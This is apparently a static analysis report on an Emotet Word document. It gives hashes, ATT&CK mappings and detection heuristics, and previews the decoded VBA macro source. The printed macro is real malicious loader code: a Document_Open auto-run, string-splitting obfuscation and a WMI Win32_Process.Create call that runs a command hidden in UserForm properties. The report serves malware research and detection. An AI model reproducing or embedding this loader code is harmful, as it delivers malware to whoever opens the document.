Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 285b42a870fed134…

MALICIOUS

Office (OLE)

225.2 KB Created: 2020-08-11 21:52:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 50c70cc400a7b220c895457d2d1fb14b SHA-1: b46ddf82905682f85524eedaef39040e8386ce2d SHA-256: 285b42a870fed134d907b1397f5251fa7ecc12d236cf4df1d194211e1b24202e
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro that utilizes CreateObject and a hidden UserForm to execute obfuscated code. This behavior is characteristic of Emotet, which often uses such techniques to download and execute further malicious payloads. The ClamAV detection ID further supports the Emotet family attribution.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9275219-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9275219-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4343 bytes
SHA-256: b340ffdb47f0de2131a1f680756de49cd40f7cdbe613e3003c8f674813401b6d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "VCSEVtidwtvfsoaeua"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
GLCSJlrhqbzhhseloru.BEGPOgbugdgzuay
End Sub


Attribute VB_Name = "GLCSJlrhqbzhhseloru"
Attribute VB_Base = "0{D932C1CA-D224-4916-B7ED-8E184277A82C}{077DF271-B373-4C16-9EBD-9B1ACCE57D9B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function BEGPOgbugdgzuay()
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
DCRQKjwjuknvwqmc = GLCSJlrhqbzhhseloru.Zoom
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
XERJEhywgfplumcjv = ChrW(DCRQKjwjuknvwqmc + ((30 + 60 + 30) / (4 + 4)))
Dim p1Èck3ÃQU As Date
KDQGXcvilykbeevmsu = "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhi920jG&2(nbsjg uiyqGb2234%42bjhnm920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhgm920jG&2(nbsjg uiyqGb2234%42bjht920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh" + XERJEhywgfplumcjv + "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh:920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhin920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh3920jG&2(nbsjg uiyqGb2234%42bjh2920jG&2(nbsjg uiyqGb2234%42bjh_920jG&2(nbsjg uiyqGb2234%42bjh" + GLCSJlrhqbzhhseloru.PAZLRzffrqwjq + "920jG&2(nbsjg uiyqGb2234%42bjhro920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhce920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjh"
Dim tqSQH3Í As Integer
tqSQH3Í = 3
Do While tqSQH3Í < 3 + 6
tqSQH3Í = tqSQH3Í + 6: DoEvents
Loop
OZEIObtoljqphmktekt = KEMWTnztbdcsw(KDQGXcvilykbeevmsu)
Dim JtF1ÔVIsgfW As Variant
Set KUSULixlzbyy = CreateObject(OZEIObtoljqphmktekt)
Dim r4ÖKHihX As Integer
r4ÖKHihX = 9
Do While r4ÖKHihX < 9 + 5
r4ÖKHihX = r4ÖKHihX + 7: DoEvents
Loop
OOJGOllxbmra = GLCSJlrhqbzhhseloru.ODEHXfxghnao.ControlTipText
Dim aKHZFGTowB As Currency
GNHUUhcjupfbh = m2m3b5 + (OZEIObtoljqphmktekt + XERJEhywgfplumcjv + GLCSJlrhqbzhhseloru.ERDMCqjvxotpgr.ControlTipText + OOJGOllxbmra)
Dim fIspInaCW As String
AFSCVuowwdupwbs = GNHUUhcjupfbh + GLCSJlrhqbzhhseloru.PAZLRzffrqwjq
Dim n8ÈRMOqNXp As Integer
n8ÈRMOqNXp = 4
Do While n8ÈRMOqNXp < 4 + 4
n8ÈRMOqNXp = n8ÈRMOqNXp + 1: DoEvents
Loop
Set OEUPPihvrzskubk = YJLKCmffvtucrnmn(AFSCVuowwdupwbs)
Dim K0ÏyYuGKEqS As Currency
pppp1n1b = Array(ns123v4 + "jbjksgui qguw egq wuieg qbnmasm", KUSULixlzbyy. _
Create(ZWXXUolbkyljk, PTQHAvqqcwqlslo, OEUPPihvrzskubk), masb1 + ",jha ghauig qugq bbbs")
Dim LRhpI5ÓslYA As Double
End Function
Function ZWXXUolbkyljk()
n21bh3 = GLCSJlrhqbzhhseloru.LPYYQsyxmtgac.Pages(vbOK).Caption
ZWXXUolbkyljk = KEMWTnztbdcsw(n21bh3)
dgKyIcWY = 7
Do While dgKyIcWY < 7 + 1
dgKyIcWY = dgKyIcWY + 1: DoEvents
Loop
End Function
Function YJLKCmffvtucrnmn(ECPJGdwdchclzoifizf)
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
Set YJLKCmffvtucrnmn = CreateObject(ECPJGdwdchclzoifizf)
Dim WbU1Ïq As Integer
WbU1Ïq = 1
Do While WbU1Ïq < 1 + 4
WbU1Ïq = WbU1Ïq + 1: DoEvents
Loop
YJLKCmffvtucrnmn. _
showwindow = UKKXAiktzygfa + KNHTJpcauocpghebdu
Dim UMbU As Object
End Function
Function KEMWTnztbdcsw(OWYHGuuebqtrgxibpum)
NFRYSaadwsjnxhvz = OWYHGuuebqtrgxibpum
Dim ZvdC As Currency
WESGOhzfduvelwjoh = Split _
(NFRYSaadwsjnxhvz, "920jG&2(nbsjg uiyqGb2234%42bjh")
Dim Hih4å As Integer
Hih4å = 5
Do While Hih4å < 5 + 7
Hih4å = Hih4å + 6: DoEvents
Loop
LZIAUxvalcpr = mmm2 + Join(WESGOhzfduvelwjoh, msnj2)
Dim r4áAANisy As Integer
r4á
... (truncated)

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